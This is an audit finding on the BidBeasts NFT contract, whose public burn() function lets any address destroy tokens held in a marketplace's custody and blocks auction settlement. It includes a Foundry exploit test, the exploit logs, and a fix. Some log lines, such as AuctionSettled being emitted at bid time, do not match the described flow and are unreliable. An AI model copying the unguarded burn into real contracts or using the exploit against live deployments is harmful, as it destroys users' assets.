Root + Impact
Description
-
Normal behavior: An ERC‑721 contract should only allow the token owner (or an approved operator) to burn a token. A marketplace that custodizes NFTs (via transferFrom to the marketplace contract) expects those tokens to exist until the auction is settled or the NFT is returned to the seller.
-
Specific issue: The burn(uint256) function in BidBeasts is public and does not check ownership or approval. Any address can call burn(tokenId) and destroy a token while the marketplace holds it. If a token is burned while listed / custodized by the marketplace, subsequent attempts to finalize the sale (which call transferFrom(address(this), winner, tokenId)) revert, causing a DoS for auction settlement and potentially leaving bids/funds in an inconsistent or blocked state.
contract BidBeasts is ERC721, Ownable(msg.sender) {
event BidBeastsMinted(address indexed to, uint256 indexed tokenId);
event BidBeastsBurn(address indexed from, uint256 indexed tokenId);
uint256 public CurrenTokenID;
constructor() ERC721("Goddie_NFT", "GDNFT") {}
function mint(address to) public onlyOwner returns (uint256) {
uint256 _tokenId = CurrenTokenID;
_safeMint(to, _tokenId);
emit BidBeastsMinted(to, _tokenId);
CurrenTokenID++;
return _tokenId;
}
@> function burn(uint256 _tokenId) public {
@> _burn(_tokenId);
@> emit BidBeastsBurn(msg.sender, _tokenId);
@> }
}
Risk
Likelihood:
-
Reason 1: Marketplaces routinely take custody of NFTs when sellers list (the listNFT call transfers the token to the marketplace). Therefore this situation occurs any time a token is listed and the marketplace holds it.
-
Reason 2: burn is callable by any address on-chain; any actor with network access (bots, adversaries, competitors) can invoke it without additional preconditions.
Impact:
-
Impact 1 -> DoS of auction settlement, marketplace cannot call transferFrom(address(this), winner, tokenId) because the token no longer exists → settleAuction or takeHighestBid revert, preventing completion of the auction.
-
Impact 2 -> Permanent loss of NFT (liveness break): the token is destroyed permanently.
-
Impact 3 -> Griefing / reputational damage: attackers can arbitrarily destroy valuable assets and disrupt marketplace operations.
Proof of Concept
pragma solidity 0.8.20;
import "forge-std/Test.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ExploitBurnTest is Test, IERC721Receiver {
BidBeasts public nft;
BidBeastsNFTMarket public market;
address seller = address(0xA1);
address bidder = address(0xB0);
address attacker = address(0xD0);
function onERC721Received(address, address, uint256, bytes calldata)
external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
function setUp() public {
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
vm.deal(seller, 10 ether);
vm.deal(bidder, 10 ether);
vm.deal(attacker, 1 ether);
uint256 tokenId = nft.mint(address(this));
nft.transferFrom(address(this), seller, tokenId);
assertEq(nft.ownerOf(tokenId), seller);
}
function test_burnListedToken_blocksSettlement() public {
uint256 tokenId = 0;
vm.prank(seller);
nft.approve(address(market), tokenId);
vm.prank(seller);
market.listNFT(tokenId, 0.01 ether, 0);
assertEq(nft.ownerOf(tokenId), address(market));
vm.prank(bidder);
market.placeBid{value: 0.02 ether}(tokenId);
BidBeastsNFTMarket.Bid memory hb = market.getHighestBid(tokenId);
assertEq(hb.bidder, bidder);
assertEq(hb.amount, 0.02 ether);
vm.prank(attacker);
nft.burn(tokenId);
vm.expectRevert();
market.settleAuction(tokenId);
vm.prank(seller);
vm.expectRevert();
market.takeHighestBid(tokenId);
BidBeastsNFTMarket.Bid memory hb2 = market.getHighestBid(tokenId);
assertEq(hb2.bidder, bidder);
assertEq(hb2.amount, 0.02 ether);
}
}
Exploit Logs
Test: test_burnListedToken_blocksSettlement() – PASS (gas: 215,919)
NFT Listing
BidBeasts::approve(0xA1 -> BidBeastsNFTMarket)
emit Approval(owner: 0xA1, approved: BidBeastsNFTMarket, tokenId: 0)
BidBeastsNFTMarket::listNFT(tokenId: 0, minPrice: 1e16)
emit NftListed(tokenId: 0, seller: 0xA1, minPrice: 1e16)
Bid Placement
BidBeastsNFTMarket::placeBid{value: 2e16}(tokenId: 0)
emit BidPlaced(tokenId: 0, bidder: 0xB0, amount: 2e16)
emit AuctionSettled(tokenId: 0, winner: 0xB0, seller: 0xA1, price: 2e16)
emit AuctionExtended(tokenId: 0, newDeadline: 901)
NFT Burn
BidBeasts::burn(tokenId: 0) by 0xD0
emit Transfer(from: BidBeastsNFTMarket, to: 0x0, tokenId: 0)
emit BidBeastsBurn(from: 0xD0, tokenId: 0)
Failed Settlement after Burn
BidBeastsNFTMarket::settleAuction(tokenId: 0)
← Revert: Auction has not ended
BidBeastsNFTMarket::takeHighestBid(tokenId: 0)
← Revert: ERC721NonexistentToken(0)
Recommended Mitigation
Remove or restrict the unsafe burn and add ownership/approval checks.
- function burn(uint256 _tokenId) public {
- _burn(_tokenId);
- emit BidBeastsBurn(msg.sender, _tokenId);
- }
+ // Only owner or an approved operator can burn a token.
+ function burn(uint256 _tokenId) public {
+ require(_isApprovedOrOwner(msg.sender, _tokenId), "Not owner nor approved");
+ _burn(_tokenId);
+ emit BidBeastsBurn(msg.sender, _tokenId);
+ }
